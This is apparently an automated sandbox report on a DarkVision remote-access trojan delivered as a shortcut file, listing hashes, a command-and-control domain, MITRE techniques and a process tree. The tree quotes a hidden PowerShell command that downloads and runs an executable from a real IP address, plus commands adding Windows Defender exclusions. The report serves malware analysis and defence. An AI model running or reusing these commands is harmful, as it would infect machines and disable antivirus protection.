darkvision | aeed70a3f936b699e93f18dfc5b4a582a6a08be7d52d8e6229754f96205aecb2

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
31-12-2024 08:27

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General

Target

009274965.lnk
Size

2KB
MD5

7f070dfbaa6893bb2effac0f2320a1d7
SHA1

293e7f6f6e70a0c7699215b3402dc5ff2bb2bfaa
SHA256

aeed70a3f936b699e93f18dfc5b4a582a6a08be7d52d8e6229754f96205aecb2
SHA512

720b2a90dd051160aeaa1a11a70433213b96f04e8d160c55c699f4fd6af7f1c07db61e110e684d9ce91ad79e987bd809497eb2d52ac2f3bd96cdb289c443b883

Score

10^/10

darkvision execution rat

Malware Config

Extracted

Family

darkvision

acuweld.ddns.net

Signatures

DarkVision Rat
DarkVision Rat is a trojan written in C++.
rat darkvision
Darkvision family
darkvision

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	3744	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2984	powershell.exe
4016	powershell.exe
3744	powershell.exe
3744	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	windows.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	windows.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	cmd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{5CAAC06D-2278-4820-8E02-FD7BF03ADE5D}.lnk	svchost.exe

Executes dropped EXE 2 IoCs

pid	Process
4736	file.exe
2128	windows.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3744	powershell.exe
3744	powershell.exe
2984	powershell.exe
2984	powershell.exe
4016	powershell.exe
4016	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
2128	windows.exe
2128	windows.exe
2128	windows.exe
2128	windows.exe
2128	windows.exe
2128	windows.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	4016	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3532 wrote to memory of 3744	3532	cmd.exe	84
PID 3532 wrote to memory of 3744	3532	cmd.exe	84
PID 3744 wrote to memory of 4736	3744	powershell.exe	86
PID 3744 wrote to memory of 4736	3744	powershell.exe	86
PID 4736 wrote to memory of 1388	4736	file.exe	87
PID 4736 wrote to memory of 1388	4736	file.exe	87
PID 4736 wrote to memory of 2128	4736	file.exe	89
PID 4736 wrote to memory of 2128	4736	file.exe	89
PID 1388 wrote to memory of 2984	1388	cmd.exe	90
PID 1388 wrote to memory of 2984	1388	cmd.exe	90
PID 2128 wrote to memory of 1848	2128	windows.exe	91
PID 2128 wrote to memory of 1848	2128	windows.exe	91
PID 2128 wrote to memory of 3384	2128	windows.exe	92
PID 2128 wrote to memory of 3384	2128	windows.exe	92
PID 1848 wrote to memory of 4016	1848	cmd.exe	94
PID 1848 wrote to memory of 4016	1848	cmd.exe	94
PID 2128 wrote to memory of 4808	2128	windows.exe	101
PID 2128 wrote to memory of 4808	2128	windows.exe	101

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\009274965.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri http://87.120.113.91/image.exe -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\Admin\AppData\Local\Temp\file.exe' }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    3⤵
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4736
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\windows'
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1388
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\windows'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2984
  - - C:\ProgramData\windows\windows.exe
      "C:\ProgramData\windows\windows.exe" {05756468-6434-465A-9313-8CAA82F857B2}
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2128
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\windows'
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1848
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\windows'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4016
    - - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        5⤵
        Checks BIOS information in registry
        
        PID:3384
    - - C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        5⤵
        Checks BIOS information in registry
        Drops startup file
        
        PID:4808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8d80c45e0e047b75073a3d1c2710c68f

SHA1
babc73cf30327b36d184239a2747ec94d48929f4

SHA256
6859c4cad4b17bf02f7f25d9b5b9633491a29c1420ccbdf9342a459d5be05e64

SHA512
5da876ce855d1d9a031899d283bf2ac6c53c4d14982a1300e4d128cbde46202a259d1299dfb40c81fcfe5fb6770fb00f404673c13967800392f8f8442a5d2d24

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
5528caa550412d1bd87ffcab5ab91e16

SHA1
529e1902068be7ca957deff51d106a621a1c4aaa

SHA256
9ae1803e1eecd3b493ace24ebcf93908126e20cf133685a19347cb8e4061a5cb

SHA512
604f3241d4ac8b4aa55e38d557eb1f5f7ecb440fa65e43f797c5ba97282599d8f7d6409bb276f26e5e3ae2ae8b179be8cfeb2896bc3ada351ef0f966bc9db76f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vym2xtrb.lwy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\file.exe

Filesize
4.0MB

MD5
d37285bf0331c7514e5e4cec0fbe647c

SHA1
2a83f532b50fb5acd4f417c2ce51a1eac1bb9c08

SHA256
f96c269716f360aa2fbb1926dda79c3ff47ea7d8ec6615cde06b205d28400f79

SHA512
d1a9f56a504bc6d13a0af3ac1caf97d9bc86ace60577b87a2f7143c3c94ade29605559b9122c19d2a8ca2f817d6efe123a24c75012b9c22241fbcdf2938b1d81

Download Submit
memory/2128-157-0x00007FF6B8990000-0x00007FF6B8D99000-memory.dmp

Filesize
4.0MB

Download
memory/2128-32-0x00007FF6B8990000-0x00007FF6B8D99000-memory.dmp

Filesize
4.0MB

Download
memory/3384-46-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-68-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-89-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-76-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-54-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-45-0x00000000005D0000-0x00000000005D1000-memory.dmp

Filesize
4KB

Download
memory/3384-58-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-63-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-66-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-70-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-74-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-75-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-71-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-72-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-56-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-73-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-69-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-53-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-67-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-65-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-64-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-62-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-61-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-60-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-59-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-57-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3384-55-0x00000000029B0000-0x0000000002DB9000-memory.dmp

Filesize
4.0MB

Download
memory/3744-2-0x00007FFEC95C3000-0x00007FFEC95C5000-memory.dmp

Filesize
8KB

Download
memory/3744-13-0x00007FFEC95C0000-0x00007FFECA081000-memory.dmp

Filesize
10.8MB

Download
memory/3744-8-0x000002D0FF610000-0x000002D0FF632000-memory.dmp

Filesize
136KB

Download
memory/3744-33-0x00007FFEC95C0000-0x00007FFECA081000-memory.dmp

Filesize
10.8MB

Download
memory/3744-14-0x00007FFEC95C0000-0x00007FFECA081000-memory.dmp

Filesize
10.8MB

Download
memory/4736-23-0x00007FF69C560000-0x00007FF69C969000-memory.dmp

Filesize
4.0MB

Download
memory/4736-31-0x00007FF69C560000-0x00007FF69C969000-memory.dmp

Filesize
4.0MB

Download
memory/4808-116-0x00000122F15A0000-0x00000122F19A9000-memory.dmp

Filesize
4.0MB

Download